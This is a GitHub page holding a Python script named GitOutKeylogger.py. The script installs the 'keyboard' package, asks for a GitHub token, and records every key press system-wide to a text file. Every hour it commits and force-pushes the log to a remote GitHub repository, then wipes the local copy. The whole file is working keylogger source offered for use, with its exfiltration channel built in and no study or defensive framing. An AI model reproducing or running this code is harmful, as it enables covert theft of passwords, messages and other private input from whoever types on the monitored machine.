-
Notifications
You must be signed in to change notification settings - Fork 2
/
GitOutKeylogger.py
109 lines (85 loc) · 3.4 KB
/
GitOutKeylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import os
import subprocess
import git
import datetime
import time
import keyboard
# Function to check and install missing dependencies
def install_dependency(package):
try:
__import__(package)
except ImportError:
subprocess.call(['pip', 'install', package])
print('Installed package: {}'.format(package))
# Check and install missing dependencies
install_dependency('git')
install_dependency('keyboard')
# Prompt the user for their GitHub credentials and repository location
username = input('GitHub username: ')
access_token = input('GitHub access token: ')
repo_name = input('Repository name: ')
repo_location = input('Repository location: ')
# Change to the specified folder
os.chdir(repo_location)
# Initialize the Git repository
repo = git.Repo.init()
# Add all files in the folder to the Git repository
repo.git.add('--all')
# Commit the changes with a default message
commit_message = 'Initial commit'
repo.git.commit('-m', commit_message)
# Create a remote reference to the GitHub repository
remote_url = f'https://{username}:{access_token}@github.com/{username}/{repo_name}.git'
remote = repo.create_remote('origin', remote_url)
print('Repository created and files pushed to GitHub successfully.')
path = os.path.join(repo_location, 'keyboard_input.txt')
keyboard_input = []
last_commit_time = datetime.datetime.now()
def on_press(e):
global keyboard_input
keyboard_input.append(e.name)
if len(keyboard_input) > 0:
write_to_file(keyboard_input)
keyboard_input = []
def write_to_file(keys):
global last_commit_time
with open(path, 'a') as file:
for key in keys:
write_down = str(key).replace("'", "")
if write_down.find('backspace') > 0:
file.write(' *BACKSPACE* ')
elif write_down.find('shift') > 0:
file.write(' *SHIFT* ')
elif write_down.find('enter') > 0:
file.write('\n')
elif write_down.find('space') > 0:
file.write(' ')
elif write_down.find('Key'):
file.write(write_down)
# Check if an hour has passed since the last commit
current_time = datetime.datetime.now()
time_diff = (current_time - last_commit_time).total_seconds() / 3600
if time_diff >= 1:
# Add the keyboard input file to the Git repository
repo.git.add(path)
# Commit the changes with a default message
commit_message = 'Auto-commit keyboard input at {}'.format(datetime.datetime.now())
repo.git.commit('-m', commit_message)
# Push the changes to the remote repository
remote.push(refspec='{}:{}'.format(repo.head.ref, 'master'), force=True)
print('Keyboard input saved and pushed to GitHub repository successfully.')
with open(path, 'w') as file:
file.truncate()
last_commit_time = current_time
keyboard.on_press(on_press)
while True:
time.sleep(3600) # Wait for 1 hour (3600 seconds)
# Add all files in the folder to the Git repository
repo.git.add('--all')
# Check if an hour has passed since the last commit
current_time = datetime.datetime.now()
time_diff = (current_time - last_commit_time).total_seconds() / 3600
if time_diff >= 1:
# Commit the changes with a default message
commit_message = 'Auto-commit at {}'.format(datetime.datetime.now())
repo.git.commit('-m', commit_message)